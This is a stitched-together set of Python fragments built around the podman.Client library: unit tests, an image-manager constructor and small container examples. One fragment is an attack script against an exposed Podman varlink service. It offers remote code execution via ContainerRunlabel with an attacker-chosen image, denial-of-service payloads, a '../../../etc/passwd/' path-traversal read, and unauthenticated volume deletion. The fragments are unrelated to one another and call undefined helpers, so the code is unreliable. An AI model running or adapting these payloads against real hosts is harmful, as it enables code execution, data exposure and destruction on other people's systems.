def client(self): """Podman remote client for communicating.""" if self._args.host is None: return podman.Client(uri=self.local_uri) return podman.Client(uri=self.local_uri, remote_uri=self.remote_uri, identity_file=self.identity_file)
def loadCache(self): with podman.Client(self.host) as pclient: self.ctns = list(pclient.containers.list()) self.alpine_ctnr = next( iter([c for c in self.ctns if 'alpine' in c['image']] or []), None) return self.ctns
def __init__(self, module, results): super(PodmanImageManager, self).__init__() self.module = module self.results = results self.name = self.module.params.get('name') self.tag = self.module.params.get('tag') self.pull = self.module.params.get('pull') self.push = self.module.params.get('push') self.force = self.module.params.get('force') self.state = self.module.params.get('state') self.push_args = self.module.params.get('push_args') self._client= podman.Client() repo, repo_tag = parse_repository_tag(self.name) if repo_tag: self.name = repo self.tag = repo_tag self.image_name = '{name}:{tag}'.format(name=self.name, tag=self.tag) if self.state in ['present', 'build']: self.present() if self.state in ['absent']: self.absent()
def setUp(self): self.tmpdir = os.environ['TMPDIR'] self.host = os.environ['PODMAN_HOST'] self.pclient = podman.Client(self.host) self.ctns = self.loadCache() # TODO: Change to start() when Implemented self.alpine_ctnr.restart()
def test_info(self): with podman.Client(self.host) as pclient: actual = pclient.system.info() # Values change too much to do exhaustive testing self.assertIsNotNone(actual.podman['go_version']) self.assertListEqual( sorted([ 'host', 'insecure_registries', 'podman', 'registries', 'store' ]), sorted(list(actual._fields)))
def test_versions(self): with podman.Client(self.host) as pclient: # Values change with each build so we cannot test too much self.assertListEqual( sorted([ 'built', 'client_version', 'git_commit', 'go_version', 'os_arch', 'version', 'remote_api_version' ]), sorted(list(pclient.system.versions._fields))) pclient.system.versions self.assertIsNot(podman.__version__, '0.0.0')
def loadCache(self): with podman.Client(self.host) as pclient: self.images = list(pclient.images.list()) self.alpine_image = next( iter([ i for i in self.images if 'docker.io/library/alpine:latest' in i['repoTags'] ] or []), None) return self.images
def test_remote_ping(self): host = urlparse(self.host) remote_uri = 'ssh://root@localhost{}'.format(host.path) local_uri = 'unix:{}/tunnel/podman.sock'.format(self.tmpdir) with podman.Client( uri=local_uri, remote_uri=remote_uri, identity_file=os.path.expanduser('~/.ssh/id_rsa'), ) as remote_client: self.assertTrue(remote_client.system.ping())
def test_remove(self): before = self.loadCache() # assertRaises doesn't follow the import name :( with self.assertRaises(podman.ErrorOccurred): self.alpine_image.remove() # TODO: remove this block once force=True works with podman.Client(self.host) as pclient: for ctnr in pclient.containers.list(): if 'alpine' in ctnr.image: ctnr.stop() ctnr.remove() actual = self.alpine_image.remove(force=True) self.assertEqual(self.alpine_image.id, actual) after = self.loadCache() self.assertLess(len(after), len(before)) TestImages.setUpClass() self.loadCache()
def test_swap_total(self): with podman.Client(self.host) as pclient: actual = pclient.system.info() self.assertNotEqual(actual.host['swap_total'], 0)
def test_ping(self): with podman.Client(self.host) as pclient: self.assertTrue(pclient.system.ping())
def test_start(self): client = podman.Client(uri="unix:@podmantests") pod = Pod(client._client, short_pod_id_1, {"foo": "bar"}) self.assertEqual(pod.start()["numberofcontainers"], "2")
def getcontainers(): with podman.Client() as client: return client.containers.list()
#!/usr/bin/python3 """This example will create a basic fedora container that is made with hardcoded options, and delete it upon exit.""" import podman client = podman.Client() pull = client.images.pull("fedora:latest") image = client.images.get(pull) opts = { 'memory': '1G', 'memory-reservation': '750M', 'Memory-swap': '1.5G', 'detach': True, 'tty': True, 'command': '/bin/bash' } container = image.create(**opts) container.attach(eot=4) try: container.start() print() except (BrokenPipeError, KeyboardInterrupt): print('\nContainer disconnected.') container.remove(force=True)
def main(): if (len(sys.argv) < 2): print("Usage: %s <action> <host> [action....params]\n" % sys.argv[0]) print("Eg: %s check tcp:podman-host:6000" % sys.argv[0]) print( "... %s exec tcp:podman-host:6000 docker-registry:5000/image run\n" % sys.argv[0]) print("Actions: check, exec, dos, blind, volrm\n") return action = sys.argv[1] address = sys.argv[2] # eg. unix:/run/podman/io.podman for local testing ip = address.split(':')[1] port = int(address.split(':')[2]) if (action == 'exec'): if (len(sys.argv) < 4): print("Error: need more args for exec") return image = sys.argv[3] # 'source' for pull label = sys.argv[4] isItTime() try: pman = podman.Client(uri=address) except Exception: print("Error: can't connect to host") return if (action == 'check'): result = json.dumps(pman.system.info()) if ('podman_version' in result): print("-> Podman service confirmed on host") return print("-!- Podman service was not found on host") elif (action == 'exec'): # # First pull the image from the repo, then run the label # try: result = pman.images.pull(image) # PullImage() except Exception as error: pass # call fails sometimes if image already exists which is *ok* # # ContainerRunlabel() ... but, no library imp. we'll do it live! # method = serviceName + '.' + 'ContainerRunlabel' message = '{\"method\":\"' message += method message += '\",\"parameters\":' message += '{\"Runlabel\":{\"image\":\"' message += image message += '\",\"label\":\"' message += label message += '\"}}}' message += '\0' # end each msg with a NULL byte doSocketSend(ip, port, message) elif (action == 'dos'): #bug = 1 # !fun bug = random.randint(1, 2) # fun if (bug == 1): print("one") source = 'test' method = serviceName + '.' + 'LoadImage' message = '{\"method\":\"' message += method message += '\",\"parameters\":' message += '{\"source":\"' message += source message += '\"}}' message += '\0' doSocketSend(ip, port, message) # works on 1.4.4, fixed in 1.5.1 if (bug == 2): print("two") reference = 'b' * 238 source = '/dev/null' # this file must exist locally method = serviceName + '.' + 'ImportImage' message = '{\"method\":\"' message += method message += '\",\"parameters\":' message += '{\"reference\":\"' message += reference message += '\",\"source\":\"' message += source message += '\"}}' message += '\0' doSocketSend(ip, port, message) # # blind read of arbitrary files server-side # ...interesting but not particularly useful by itself # # openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 7 # lseek(7, 0, SEEK_CUR) = 0 # fstat(7, {st_mode=S_IFREG|0644, st_size=1672, ...}) = 0 # read(7, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1672 # close(7) # elif (action == 'blind'): method = serviceName + '.' + 'SearchImages' query = '../../../etc/passwd/' # magic '/' at the end message = '{\"method\":\"' message += method message += '\",\"parameters\":' message += '{\"query\":\"' message += query message += '\"}}' message += '\0' #pman.images.search(query) # unclear why this doesn't work doSocketSend(ip, port, message) # # Not really a bug, but an interesting feature to demo without auth # note: call CreateVolume() a few times beforehand to test the removal # elif (action == 'volrm'): method = serviceName + '.' + 'VolumeRemove' n = 10 # this is probably enough to test, but change as necessary message = '{\"method\":\"' message += method message += '\",\"parameters\":' message += '{\"options\":{\"volumes\":[\"\"]}}}' # empty = alphabetical removal message += '\0' for _ in range(n): doSocketSend(ip, port, message) time.sleep(0.5) # server processing time print("Done!")
def setUp(self): self.tmpdir = os.environ['TMPDIR'] self.host = os.environ['PODMAN_HOST'] self.pclient = podman.Client(self.host) self.images = self.loadCache()
def setUp(self): self.tmpdir = os.environ['TMPDIR'] self.host = os.environ['PODMAN_HOST'] self.pclient = podman.Client(self.host)
def client(self): if self._client is None: self._client = p.Client(self._address) return self._client
#!/usr/bin/env python3 """Example: Run Alpine container and attach.""" import podman print('{}\n'.format(__doc__)) with podman.Client() as client: id = client.images.pull('alpine:latest') img = client.images.get(id) cntr = img.create() cntr.start() try: cntr.attach() except BrokenPipeError: print('Container disconnected.')
def test_bad_address(self): with self.assertRaisesRegex(varlink.client.ConnectionError, "Invalid address 'bad address'"): podman.Client('bad address')